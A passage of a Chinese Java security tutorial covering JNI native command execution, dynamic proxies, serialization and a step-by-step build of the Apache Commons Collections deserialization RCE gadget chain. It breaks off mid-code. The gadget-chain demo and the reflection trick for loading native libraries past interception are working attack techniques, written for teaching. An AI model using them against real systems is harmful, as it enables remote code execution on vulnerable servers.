    {"text": "com.anbai.sec.cmd.CommandExecutionTest 示例： package com . anbai . sec . cmd ; import java . io . File ; import java . lang . reflect . Method ; /** * Creator: yz * Date: 2019/12/8 */ public class CommandExecutionTest { private static final String COMMAND_CLASS_NAME = \"com.anbai.sec.cmd.CommandExecution\" ; /** * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码, * 只有一个public static native String exec(String cmd);的方法 */ private static final byte [ ] COMMAND_CLASS_BYTES = new byte [ ] { - 54 , - 2 , - 70 , - 66 , 0 , 0 , 0 , 49 , 0 , 15 , 10 , 0 , 3 , 0 , 12 , 7 , 0 , 13 , 7 , 0 , 14 , 1 , 0 , 6 , 60 , 105 , 110 , 105 , 116 , 62 , 1 , 0 , 3 , 40 , 41 , 86 , 1 , 0 , 4 , 67 , 111 , 100 , 101 , 1 , 0 , 15 , 76 , 105 , 110 , 101 , 78 , 117 , 109 , 98 , 101 , 114 , 84 , 97 , 98 , 108 , 101 , 1 , 0 , 4 , 101 , 120 , 101 , 99 , 1 , 0 , 38 , 40 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 41 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 1 , 0 , 10 , 83 , 111 , 117 , 114 , 99 , 101 , 70 , 105 , 108 , 101 , 1 , 0 , 21 , 67 , 111 , 109 , 109 , 97 , 110 , 100 , 69 , 120 , 101 , 99 , 117 , 116 , 105 , 111 , 110 , 46 , 106 , 97 , 118 , 97 , 12 , 0 , 4 , 0 , 5 , 1 , 0 , 34 , 99 , 111 , 109 , 47 , 97 , 110 , 98 , 97 , 105 , 47 , 115 , 101 , 99 , 47 , 99 , 109 , 100 , 47 , 67 , 111 , 109 , 109 , 97 , 110 , 100 , 69 , 120 , 101 , 99 , 117 , 116 , 105 , 111 , 110 , 1 , 0 , 16 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 79 , 98 , 106 , 101 , 99 , 116 , 0 , 33 , 0 , 2 , 0 , 3 , 0 , 0 , 0 , 0 , 0 , 2 , 0 , 1 , 0 , 4 , 0 , 5 , 0 , 1 , 0 , 6 , 0 , 0 , 0 , 29 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 5 , 42 , - 73 , 0 , 1 , - 79 , 0 , 0 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 7 , 1 , 9 , 0 , 8 , 0 , 9 , 0 , 0 , 0 , 1 , 0 , 10 , 0 , 0 , 0 , 2 , 0 , 11 } ; public static void main ( String [ ] args ) { String cmd = \"ifconfig\" ; // 定于需要执行的cmd try { ClassLoader loader = new ClassLoader ( CommandExecutionTest . class . getClassLoader ( ) ) { @Override protected Class < ? > findClass ( String name ) throws ClassNotFoundException { try { return super . findClass ( name ) ; } catch ( ClassNotFoundException e ) { return defineClass ( COMMAND_CLASS_NAME , COMMAND_CLASS_BYTES , 0 , COMMAND_CLASS_BYTES . length ) ; } } } ; // 测试时候换成自己编译好的lib路径 File libPath = new File ( \"/Users/yz/IdeaProjects/javaweb-sec/javaweb-sec-source/javase/src/main/java/com/anbai/sec/cmd/libcmd.jnilib\" ) ; // load命令执行类 Class commandClass = loader . loadClass ( \"com.anbai.sec.cmd.CommandExecution\" ) ; // 可以用System.load也加载lib也可以用反射ClassLoader加载,如果loadLibrary0 // 也被拦截了可以换java.lang.ClassLoader$NativeLibrary类的load方法。 // System.load(\"/Users/yz/IdeaProjects/javaweb-sec/javaweb-sec-source/javase/src/main/java/com/anbai/sec/cmd/libcmd.jnilib/libcmd.jnilib\"); Method loadLibrary0Method = ClassLoader . class . getDeclaredMethod ( \"loadLibrary0\" , Class . class , File . class ) ; loadLibrary0Method . setAccessible ( true ) ; loadLibrary0Method . invoke ( loader , commandClass , libPath ) ; String content = ( String ) commandClass . getMethod ( \"exec\" , String . class ) . invoke ( null , cmd ) ; System . out . println ( content ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } CommandExecutionTest 执行命令演示: 示例代码中的 CommandExecutionTest.java 其实和 load_library.jsp 逻辑差不多，Demo实现了自定义 ClassLoader 重写了 findClass 方法来加载 com.anbai.sec.cmd.CommandExecution 类的字节码并实现调用，然后再通过JNI加载动态链接库并调用了链接库中的命令执行函数。"},
    {"text": "JNI安全基础总结 本章节我们学习了如何通过JNI调用动态链接库实现本地命令执行功能，我们应该深入的认识到通过编写native方法我们可以做几乎任何事(比如不使用Java自带的 FileInputStream API读文件、不使用 forkAndExec 执行系统命令等)。"},
    {"text": "JNI为我们提供了如此强大的灵活性也为Java的安全性带来了非常大的挑战，所以某些情况下我们不得不考虑如何限制用户调用JNI来提升安全性。"},
    {"text": "Java 动态代理 Java 动态代理 原文： https://www.wangan.com/docs/97 Java 反射提供了一种类动态代理机制，可以通过代理接口实现类来完成程序无侵入式扩展。"},
    {"text": "动态代理API 创建动态代理类会使用到 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口。 java.lang.reflect.Proxy 主要用于生成动态代理类 Class 、创建代理类实例，该类实现了 java.io.Serializable 接口。 java.lang.reflect.Proxy 类主要方法如下： package java . lang . reflect ; import java . lang . reflect . InvocationHandler ; /** * Creator: yz * Date: 2020/1/15 */ public class Proxy implements java . io . Serializable { // 省去成员变量和部分类方法... /** * 获取动态代理处理类对象 * * @param proxy 返回调用处理程序的代理实例 * @return 代理实例的调用处理程序 * @throws IllegalArgumentException 如果参数不是一个代理实例 */ public static InvocationHandler getInvocationHandler ( Object proxy ) throws IllegalArgumentException { ... } /** * 创建动态代理类实例 * * @param loader 指定动态代理类的类加载器 * @param interfaces 指定动态代理类的类需要实现的接口数组 * @param h 动态代理处理类 * @return 返回动态代理生成的代理类实例 * @throws IllegalArgumentException 不正确的参数异常 */ public static Object newProxyInstance ( ClassLoader loader , Class < ? > [ ] interfaces , InvocationHandler h ) throws IllegalArgumentException { ... } /** * 创建动态代理类 * * @param loader 定义代理类的类加载器 * @param interfaces 代理类要实现的接口列表 * @return 用指定的类加载器定义的代理类，它可以实现指定的接口 */ public static Class < ? > getProxyClass ( ClassLoader loader , Class < ? > ... interfaces ) { ... } /** * 检测某个类是否是动态代理类 * * @param cl 要测试的类 * @return 如该类为代理类，则为 true，否则为 false */ public static boolean isProxyClass ( Class < ? > cl ) { return java . lang . reflect . Proxy . class . isAssignableFrom ( cl ) && proxyClassCache . containsValue ( cl ) ; } /** * 向指定的类加载器中定义一个类对象 * * @param loader 类加载器 * @param name 类名 * @param b 类字节码 * @param off 截取开始位置 * @param len 截取长度 * @return JVM创建的类Class对象 */ private static native Class defineClass0 ( ClassLoader loader , String name , byte [ ] b , int off , int len ) ; } java.lang.reflect.InvocationHandler 接口用于调用 Proxy 类生成的代理类方法，该类只有一个 invoke 方法。 java.lang.reflect.InvocationHandler 接口代码(注释直接搬的JDK6中文版文档)： package java . lang . reflect ; import java . lang . reflect . Method ; /** * 每个代理实例都具有一个关联的调用处理程序。"},
    {"text": "对代理实例调用方法时，将对方法调用进行编码并 * 将其指派到它的调用处理程序的 invoke 方法。 */ public interface InvocationHandler { /** * 在代理实例上处理方法调用并返回结果。 在与方法关联的代理实例上调用方法时，将在调用处理程序上调用此方法。 * * @param proxy 在其上调用方法的代理实例 * @param method 对应于在代理实例上调用的接口方法的 Method 实例。 Method 对象的声明类将是在其中声明 * 方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。 * @param args 包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数， * 则为 null。"},
    {"text": "* 如果此方法返回的值为 null 并且接口方法的返回类型是基本类型，则代理实例上的方法调用将抛出 * NullPointerException。 否则，如果此方法返回的值与上述接口方法的声明返回类型不兼容， * 则代理实例上的方法调用将抛出 ClassCastException。 * @throws Throwable 从代理实例上的方法调用抛出的异常。 该异常的类型必须可以分配到在接口方法的 * throws 子句中声明的任一异常类型或未经检查的异常类型 java.lang.RuntimeException 或 * java.lang.Error。"},
    {"text": "如果此方法抛出经过检查的异常，该异常不可分配到在接口方法的 throws 子句中 * 声明的任一异常类型，代理实例的方法调用将抛出包含此方法曾抛出的异常的 */ public Object invoke ( Object proxy , Method method , Object [ ] args ) throws Throwable ; } 使用java.lang.reflect.Proxy动态创建类对象 前面章节我们讲到了 ClassLoader 和 Unsafe 都有一个叫做 defineClassXXX 的 native 方法，我们可以通过调用这个 native 方法动态的向 JVM 创建一个类对象，而 java.lang.reflect.Proxy 类恰好也有这么一个 native 方法，所以我们也将可以通过调用 java.lang.reflect.Proxy 类 defineClass0 方法实现动态创建类对象。 ProxyDefineClassTest示例代码： package com . anbai . sec . proxy ; import java . lang . reflect . Method ; import java . lang . reflect . Proxy ; import static com . anbai . sec . classloader . TestClassLoader . TEST_CLASS_BYTES ; import static com . anbai . sec . classloader . TestClassLoader . TEST_CLASS_NAME ; /** * Creator: yz * Date: 2020/1/15 */ public class ProxyDefineClassTest { public static void main ( String [ ] args ) { // 获取系统的类加载器，可以根据具体情况换成一个存在的类加载器 ClassLoader classLoader = ClassLoader . getSystemClassLoader ( ) ; try { // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法 Method method = Proxy . class . getDeclaredMethod ( \"defineClass0\" , new Class [ ] { ClassLoader . class , String . class , byte [ ] . class , int . class , int . class } ) ; // 修改方法的访问权限 method . setAccessible ( true ) ; // 反射调用java.lang.reflect.Proxy.defineClass0()方法，动态向JVM注册 // com.anbai.sec.classloader.TestHelloWorld类对象 Class helloWorldClass = ( Class ) method . invoke ( null , new Object [ ] { classLoader , TEST_CLASS_NAME , TEST_CLASS_BYTES , 0 , TEST_CLASS_BYTES . length } ) ; // 输出TestHelloWorld类对象 System . out . println ( helloWorldClass ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 程序运行结果： class com . anbai . sec . classloader . TestHelloWorld 创建代理类实例 我们可以使用 Proxy.newProxyInstance 来创建动态代理类实例，或者使用 Proxy.getProxyClass() 获取代理类对象再反射的方式来创建，下面我们以 com.anbai.sec.proxy.FileSystem 接口为例，演示如何创建其动态代理类实例。 Proxy.newProxyInstance 示例代码： // 创建UnixFileSystem类实例 FileSystem fileSystem = new UnixFileSystem ( ) ; // 使用JDK动态代理生成FileSystem动态代理类实例 FileSystem proxyInstance = ( FileSystem ) Proxy . newProxyInstance ( FileSystem . class . getClassLoader ( ) , // 指定动态代理类的类加载器 new Class [ ] { FileSystem . class } , // 定义动态代理生成的类实现的接口 new JDKInvocationHandler ( fileSystem ) // 动态代理处理类 ) ; Proxy.getProxyClass 反射示例代码： // 创建UnixFileSystem类实例 FileSystem fileSystem = new UnixFileSystem ( ) ; // 创建动态代理处理类 InvocationHandler handler = new JDKInvocationHandler ( fileSystem ) ; // 通过指定类加载器、类实现的接口数组生成一个动态代理类 Class proxyClass = Proxy . getProxyClass ( FileSystem . class . getClassLoader ( ) , // 指定动态代理类的类加载器 new Class [ ] { FileSystem . class } // 定义动态代理生成的类实现的接口 ) ; // 使用反射获取Proxy类构造器并创建动态代理类实例 FileSystem proxyInstance = ( FileSystem ) proxyClass . getConstructor ( new Class [ ] { InvocationHandler . class } ) . newInstance ( new Object [ ] { handler } ) ; 动态代理添加方法调用日志示例 假设我们有一个叫做 FileSystem 接口， UnixFileSystem 类实现了 FileSystem 接口，我们可以使用 JDK动态代理 的方式给 FileSystem 的接口方法执行前后都添加日志输出。"},
    {"text": "动态代理生成出来的类有如下技术细节和特性： 动态代理的必须是接口类，通过 动态生成一个接口实现类 来代理接口的方法调用( 反射机制 )。 动态代理类会由 java.lang.reflect.Proxy.ProxyClassFactory 创建。"},
    {"text": "ProxyClassFactory 会调用 sun.misc.ProxyGenerator 类生成该类的字节码，并调用 java.lang.reflect.Proxy.defineClass0() 方法将该类注册到 JVM 。"},
    {"text": "该类继承于 java.lang.reflect.Proxy 并实现了需要被代理的接口类，因为 java.lang.reflect.Proxy 类实现了 java.io.Serializable 接口，所以被代理的类支持 序列化/反序列化 。 该类实现了代理接口类(示例中的接口类是 com.anbai.sec.proxy.FileSystem )，会通过 ProxyGenerator 动态生成接口类( FileSystem )的所有方法， 该类因为实现了代理的接口类，所以当前类是代理的接口类的实例( proxyInstance instanceof FileSystem 为 true )，但不是代理接口类的实现类的实例( proxyInstance instanceof UnixFileSystem 为 false )。"},
    {"text": "如果动过动态代理生成了多个动态代理类，新生成的类名中的 0 会自增，如 com.sun.proxy.$Proxy0/$Proxy1/$Proxy2 。 动态代理生成的 com.sun.proxy.$Proxy0 类代码： package com . sun . proxy . $Proxy0 ; import java . io . File ; import java . lang . reflect . InvocationHandler ; import java . lang . reflect . Method ; import java . lang . reflect . Proxy ; import java . lang . reflect . UndeclaredThrowableException ; public final class $Proxy0 extends Proxy implements FileSystem { private static Method m1 ; // 实现的FileSystem接口方法，如果FileSystem里面有多个方法那么在这个类中将从m3开始n个成员变量 private static Method m3 ; private static Method m0 ; private static Method m2 ; public $Proxy0 ( InvocationHandler var1 ) { super ( var1 ) ; } public final boolean equals ( Object var1 ) { try { return ( Boolean ) super . h . invoke ( this , m1 , new Object [ ] { var1 } ) ; } catch ( RuntimeException | Error var3 ) { throw var3 ; } catch ( Throwable var4 ) { throw new UndeclaredThrowableException ( var4 ) ; } } public final String [ ] list ( File var1 ) { try { return ( String [ ] ) super . h . invoke ( this , m3 , new Object [ ] { var1 } ) ; } catch ( RuntimeException | Error var3 ) { throw var3 ; } catch ( Throwable var4 ) { throw new UndeclaredThrowableException ( var4 ) ; } } public final int hashCode ( ) { try { return ( Integer ) super . h . invoke ( this , m0 , ( Object [ ] ) null ) ; } catch ( RuntimeException | Error var2 ) { throw var2 ; } catch ( Throwable var3 ) { throw new UndeclaredThrowableException ( var3 ) ; } } public final String toString ( ) { try { return ( String ) super . h . invoke ( this , m2 , ( Object [ ] ) null ) ; } catch ( RuntimeException | Error var2 ) { throw var2 ; } catch ( Throwable var3 ) { throw new UndeclaredThrowableException ( var3 ) ; } } static { try { m1 = Class . forName ( \"java.lang.Object\" ) . getMethod ( \"equals\" , Class . forName ( \"java.lang.Object\" ) ) ; m3 = Class . forName ( \"com.anbai.sec.proxy.FileSystem\" ) . getMethod ( \"list\" , Class . forName ( \"java.io.File\" ) ) ; m0 = Class . forName ( \"java.lang.Object\" ) . getMethod ( \"hashCode\" ) ; m2 = Class . forName ( \"java.lang.Object\" ) . getMethod ( \"toString\" ) ; } catch ( NoSuchMethodException var2 ) { throw new NoSuchMethodError ( var2 . getMessage ( ) ) ; } catch ( ClassNotFoundException var3 ) { throw new NoClassDefFoundError ( var3 . getMessage ( ) ) ; } } } 动态代理类实例序列化问题 动态代理类符合 Java 对象序列化条件，并且在 序列化/反序列化 时会被 ObjectInputStream/ObjectOutputStream 特殊处理。 FileSystemProxySerializationTest示例代码： package com . anbai . sec . proxy ; import java . io . * ; import java . lang . reflect . Proxy ; /** * Creator: yz * Date: 2020/1/14 */ public class FileSystemProxySerializationTest { public static void main ( String [ ] args ) { try { // 创建UnixFileSystem类实例 FileSystem fileSystem = new UnixFileSystem ( ) ; // 使用JDK动态代理生成FileSystem动态代理类实例 FileSystem proxyInstance = ( FileSystem ) Proxy . newProxyInstance ( FileSystem . class . getClassLoader ( ) , // 指定动态代理类的类加载器 new Class [ ] { FileSystem . class } , // 定义动态代理生成的类实现的接口 new JDKInvocationHandler ( fileSystem ) // 动态代理处理类 ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream ( baos ) ; // 序列化动态代理类 out . writeObject ( proxyInstance ) ; out . flush ( ) ; out . close ( ) ; // 利用动态代理类生成的二进制数组创建二进制输入流对象用于反序列化操作 ByteArrayInputStream bais = new ByteArrayInputStream ( baos . toByteArray ( ) ) ; // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象 ObjectInputStream in = new ObjectInputStream ( bais ) ; // 反序列化输入流数据为FileSystem对象 FileSystem test = ( FileSystem ) in . readObject ( ) ; System . out . println ( \"反序列化类实例类名:\" + test . getClass ( ) ) ; System . out . println ( \"反序列化类实例toString:\" + test . toString ( ) ) ; } catch ( IOException e ) { e . printStackTrace ( ) ; } catch ( ClassNotFoundException e ) { e . printStackTrace ( ) ; } } } 程序执行结果： 反序列化类实例类名 : class com . sun . proxy . $Proxy0 反序列化类实例toString : com . anbai . sec . proxy . UnixFileSystem@b07848 动态代理生成的类在 反序列化/反序列化 时不会序列化该类的成员变量，并且 serialVersionUID 为 0L ，也将是说将该类的 Class 对象传递给 java.io.ObjectStreamClass 的静态 lookup 方法时，返回的 ObjectStreamClass 实例将具有以下特性： 调用其 getSerialVersionUID 方法将返回 0L 。"},
    {"text": "但其父类( java.lang.reflect.Proxy )在序列化时不受影响，父类中的 h 变量( InvocationHandler )将会被序列化，这个 h 存储了动态代理类的处理类实例以及动态代理的接口类的实现类的实例。"},
    {"text": "动态代理生成的对象( com.sun.proxy.$ProxyXXX )序列化的时候会使用一个特殊的协议： TC_PROXYCLASSDESC(0x7D) ，这个常量在 java.io.ObjectStreamConstants 中定义的。"},
    {"text": "Java 类序列化 Java 类序列化 原文： https://www.wangan.com/docs/98 Java 序列化和反序列化 在很多语言中都提供了对象反序列化支持，Java在JDK1.1( 1997年 )时就内置了对象反序列化( java.io.ObjectInputStream )支持。Java对象序列化指的是 将一个Java类实例序列化成字节数组 ，用于存储对象实例化信息：类成员变量和属性值。 Java反序列化可以 将序列化后的二进制数组转换为对应的Java类实例 。 Java序列化对象因其可以方便的将对象转换成字节数组，又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于 Socket 传输。 在 RMI(Java远程方法调用-Java Remote Method Invocation) 和 JMX(Java管理扩展-Java Management Extensions) 服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制，如：直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。 Java反序列化漏洞 自从2015年 Apache Commons Collections反序列化漏洞 ( ysoserial 的最早的commit记录是2015年1月29日,说明这个漏洞可能早在2014年甚至更早就已经被人所利用)利用方式被人公开后直接引发了Java生态系统的大地震，与此同时Java反序列化漏洞仿佛掀起了燎原之势，无数的使用了反序列化机制的Java应用系统惨遭黑客疯狂的攻击，为企业安全甚至是国家安全带来了沉重的打击！ 直至今日(2019年12月)已经燃烧了Java平台四年之久的反序列化漏洞之火还仍未熄灭。如今的反序列化机制在Java中几乎成为了致命的存在，反序列化漏洞带来的巨大危害也逐渐被我们熟知。2018年1月Oracle安全更新了237个漏洞，而反序列化漏洞就占了28.5%，由此可见Oracle对反序列化机制的深恶痛绝。2012年 JEP 154 提出了移除反序列化机制： JEP 154: Remove Serialization 、 JDK-8046144 ，但似乎并未通过，移除反序列化是一个持久性的工作，短期内我们还是需要靠自身去解决反序列化机制带来的安全问题。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Apache Commons Collections反序列化漏洞 Apache Commons Collections反序列化漏洞 原文： https://www.wangan.com/docs/100 Apache Commons 是 Apache 开源的Java通用类项目在Java中项目中被广泛的使用， Apache Commons 当中有一个组件叫做 Apache Commons Collections ，主要封装了Java的 Collection(集合) 相关类对象。"},
    {"text": "InvokerTransformer 在 Collections 中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer ，这个类实现了: java.io.Serializable 接口。 2015年有研究者发现利用 InvokerTransformer 类的 transform 方法可以实现Java反序列化 RCE ，并提供了利用方法: CommonsCollections1.java 。 InvokerTransformer 类实现了 org.apache.commons.collections.Transformer 接口, Transformer 提供了一个对象转换方法： transform ，主要用于将输入对象转换为输出对象。 InvokerTransformer 类的主要作用就是利用Java反射机制来创建类实例。 InvokerTransformer 类的 transform 方法： public Object transform ( Object input ) { if ( input == null ) { return null ; } try { // 获取输入类的类对象 Class cls = input . getClass ( ) ; // 通过输入的方法名和方法参数，获取指定的反射方法对象 Method method = cls . getMethod ( iMethodName , iParamTypes ) ; // 反射调用指定的方法并返回方法调用结果 return method . invoke ( input , iArgs ) ; } catch ( Exception ex ) { // 省去异常处理部分代码 } } 使用 InvokerTransformer 实现调用本地命令执行方法： public static void main ( String [ ] args ) { // 定义需要执行的本地系统命令 String cmd = \"open -a Calculator.app\" ; // 构建transformer对象 InvokerTransformer transformer = new InvokerTransformer ( \"exec\" , new Class [ ] { String . class } , new Object [ ] { cmd } ) ; // 传入Runtime实例，执行对象转换操作 transformer . transform ( Runtime . getRuntime ( ) ) ; } 上述实例演示了通过 InvokerTransformer 的反射机制来调用 java.lang.Runtime 来实现命令执行，但在真实的漏洞利用场景我们是没法在调用 transformer.transform 的时候直接传入 Runtime.getRuntime() 对象的。 ChainedTransformer org.apache.commons.collections.functors.ChainedTransformer 类实现了 Transformer 链式调用，我们只需要传入一个 Transformer 数组 ChainedTransformer 就可以实现依次的去调用每一个 Transformer 的 transform 方法。 ChainedTransformer.java : public class ChainedTransformer implements Transformer , Serializable { /** The transformers to call in turn */ private final Transformer [ ] iTransformers ; // 省去多余的方法和变量 public ChainedTransformer ( Transformer [ ] transformers ) { super ( ) ; iTransformers = transformers ; } public Object transform ( Object object ) { for ( int i = 0 ; i < iTransformers . length ; i ++ ) { object = iTransformers [ i ] . transform ( object ) ; } return object ; } } 使用 ChainedTransformer 实现调用本地命令执行方法： public static void main ( String [ ] args ) { // 定义需要执行的本地系统命令 String cmd = \"open -a Calculator.app\" ; Transformer [ ] transformers = new Transformer [ ] { new ConstantTransformer ( Runtime . class ) , new InvokerTransformer ( \"getMethod\" , new Class [ ] { String . class , Class [ ] . class } , new Object [ ] { \"getRuntime\" , new Class [ 0 ] } ) , new InvokerTransformer ( \"invoke\" , new Class [ ] { Object . class , Object [ ] . class } , new Object [ ] { null , new Object [ 0 ] } ) , new InvokerTransformer ( \"exec\" , new Class [ ] { String . class } , new Object [ ] { cmd } ) } ; // 创建ChainedTransformer调用链对象 Transformer transformedChain = new ChainedTransformer ( transformers ) ; // 执行对象转换操作 transformedChain . transform ( null ) ; } 通过构建 ChainedTransformer 调用链我们最终会使用 InvokerTransformer 来完成反射调用 Runtime.getRuntime().exec(cmd) 的逻辑。 利用 InvokerTransformer 执行本地命令 上面两个Demo为我们演示了如何使用 InvokerTransformer 执行本地命令，现在我们也就还只剩下两个问题： 如何传入调用链。 如何调用 transform 方法执行本地命令。"},
    {"text": "现在我们已经使用 InvokerTransformer 创建了一个含有恶意调用链的 Transformer 类的Map对象，紧接着我们应该思考如何才能够将调用链窜起来并执行。"},
    {"text": "org.apache.commons.collections.map.TransformedMap 类间接的实现了 java.util.Map 接口，同时支持对 Map 的 key 或者 value 进行 Transformer 转换，调用 decorate 和 decorateTransform 方法就可以创建一个 TransformedMap : public static Map decorate ( Map map , Transformer keyTransformer , Transformer valueTransformer ) { return new TransformedMap ( map , keyTransformer , valueTransformer ) ; } public static Map decorateTransform ( Map map , Transformer keyTransformer , Transformer valueTransformer ) { // 省去实现代码 } 只要调用 TransformedMap 的 setValue/put/putAll 中的任意方法都会调用 InvokerTransformer 类的 transform 方法，从而也就会触发命令执行。 使用 TransformedMap 类的setValue触发transform示例： public static void main ( String [ ] args ) { String cmd = \"open -a Calculator.app\" ; // 此处省去创建transformers过程，参考上面的demo // 创建ChainedTransformer调用链对象 Transformer transformedChain = new ChainedTransformer ( transformers ) ; // 创建Map对象 Map map = new HashMap ( ) ; map . put ( \"value\" , \"value\" ) ; // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象 Map transformedMap = TransformedMap . decorate ( map , null , transformedChain ) ; // transformedMap.put(\"v1\", \"v2\");// 执行put也会触发transform // 遍历Map元素，并调用setValue方法 for ( Object obj : transformedMap . entrySet ( ) ) { Map . Entry entry = ( Map . Entry ) obj ; // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链 entry . setValue ( \"test\" ) ; } System . out . println ( transformedMap ) ; } 上述代码向我们展示了只要在Java的API中的任何一个类实现了 java.io.Serializable 接口，并且可以传入我们构建的 TransformedMap 对象还要有调用 TransformedMap 中的 setValue/put/putAll 中的任意方法一个方法的类，我们就可以在Java反序列化的时候触发 InvokerTransformer 类的 transform 方法实现 RCE 。 AnnotationInvocationHandler sun.reflect.annotation.AnnotationInvocationHandler 类实现了 java.lang.reflect.InvocationHandler ( Java动态代理 )接口和 java.io.Serializable 接口，它还重写了 readObject 方法，在 readObject 方法中还间接的调用了 TransformedMap 中 MapEntry 的 setValue 方法，从而也就触发了 transform 方法，完成了整个攻击链的调用。 AnnotationInvocationHandler代码片段： package sun . reflect . annotation ; class AnnotationInvocationHandler implements InvocationHandler , Serializable { AnnotationInvocationHandler ( Class < ? extends Annotation > var1 , Map < String , Object > var2 ) { // 省去代码部分 } // Java动态代理的invoke方法 public Object invoke ( Object var1 , Method var2 , Object [ ] var3 ) { // 省去代码部分 } private void readObject ( ObjectInputStream var1 ) { // 省去代码部分 } } readObject 方法: 上图中的第 352 行中的 memberValues 是 AnnotationInvocationHandler 的成员变量， memberValues 的值是在 var1.defaultReadObject(); 时反序列化生成的，它也就是我们在创建 AnnotationInvocationHandler 时传入的带有恶意攻击链的 TransformedMap 。 需要注意的是如果我们想要进入到 var5.setValue 这个逻辑那么我们的序列化的 map 中的 key 必须包含创建 AnnotationInvocationHandler 时传入的注解的方法名。 既然利用 AnnotationInvocationHandler 类我们可以实现反序列化 RCE ,那么在序列化 AnnotationInvocationHandler 对象的时候传入我们精心构建的包含了恶意攻击链的 TransformedMap 对象的序列化字节数组给远程服务，对方在反序列化 AnnotationInvocationHandler 类的时候就会触发整个恶意的攻击链，从而也就实现了远程命令执行了。 创建 AnnotationInvocationHandler 对象： 因为 sun.reflect.annotation.AnnotationInvocationHandler 是一个内部API专用的类，在外部我们无法通过类名创建出 AnnotationInvocationHandler 类实例，所以我们需要通过反射的方式创建出 AnnotationInvocationHandler 对象： // 创建Map对象 Map map = new HashMap ( ) ; // map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名，比如创建 // AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target，那么map // 的key必须是@Target注解中的方法名，即：value，否则在反序列化AnnotationInvocationHandler // 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。 map . put ( \"value\" , \"value\" ) ; // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象 Map transformedMap = TransformedMap . decorate ( map , null , transformedChain ) ; // 获取AnnotationInvocationHandler类对象 Class clazz = Class . forName ( \"sun.reflect.annotation.AnnotationInvocationHandler\" ) ; // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz . getDeclaredConstructor ( Class . class , Map . class ) ; // 设置构造方法的访问权限 constructor . setAccessible ( true ) ; // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于： // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap); Object instance = constructor . newInstance ( Target . class , transformedMap ) ; instance 对象就是我们最终用于序列化的 AnnotationInvocationHandler 对象，我们只需要将这个 instance 序列化后就可以得到用于攻击的 payload 了。"},
    {"text": "完整的攻击示例Demo: package com . anbai . sec . serializes ; import org . apache . commons . collections . Transformer ; import org . apache . commons . collections . functors . ChainedTransformer ; import org . apache . commons . collections . functors . ConstantTransformer ; import org . apache . commons . collections . functors . InvokerTransformer ; import org . apache . commons . collections . map . TransformedMap ; import java . io . ByteArrayInputStream ; import java . io . ByteArrayOutputStream ; import java . io . ObjectInputStream ; import java . io . ObjectOutputStream ; import java . lang . annotation . Target ; import java . lang . reflect . Constructor ; import java . util . Arrays ; import java . util . HashMap ; import java . util . Map ; /** * Creator: yz * Date: 2019/12/16 */ public class CommonsCollectionsTest { public static void main ( String [ ] args ) { String cmd = \"open -a Calculator.app\" ; Transformer [ ] transformers = new Transformer [ ] { new ConstantTransformer ( Runtime . class ) , new InvokerTransformer ( \"getMethod\" , new Class [ ] { String . class , Class [ ] . class } , new Object [ ] { \"getRuntime\" , new Class [ 0 ] } ) , new InvokerTransformer ( \"invoke\" , new Class [ ] { Object . class , Object [ ] . class } , new Object [ ] { null , new Object [ 0 ] } ) , new InvokerTransformer ( \"exec\" , new Class [ ] { String . class } , new Object [ ] { cmd } ) } ; // 创建ChainedTransformer调用链对象 Transformer transformedChain = new ChainedTransformer ( transformers ) ; // 创建Map对象 Map map = new HashMap ( ) ; map . put ( \"value\" , \"value\" ) ; // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象 Map transformedMap = TransformedMap . decorate ( map , null , transformedChain ) ; // // 遍历Map元素，并调用setValue方法 // for (Object obj : transformedMap.entrySet()) { // Map.Entry entry = (Map.Entry) obj; // // // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链 // entry.setValue(\"test\"); // } // //// transformedMap.put(\"v1\", \"v2\");// 执行put也会触发transform try { // 获取AnnotationInvocationHandler类对象 Class clazz = Class . forName ( \"sun.reflect.annotation.AnnotationInvocationHandler\" ) ; // 获取AnnotationInvocationHandler类的构造方法 Constructor constructor = clazz . getDeclaredConstructor ( Class . class , Map . class ) ; // 设置构造方法的访问权限 constructor . setAccessible ( true ) ; // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例，等价于： // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap); Object instance = constructor . newInstance ( Target . class , transformedMap ) ; // 创建用于存储payload的二进制输出流对象 ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; // 创建Java对象序列化输出流对象 ObjectOutputStream out = new ObjectOutputStream ( baos ) ; // 序列化AnnotationInvocationHandler类 out . writeObject ( instance ) ; out . flush ( ) ; out . close ( ) ; // 获取序列化的二进制数组 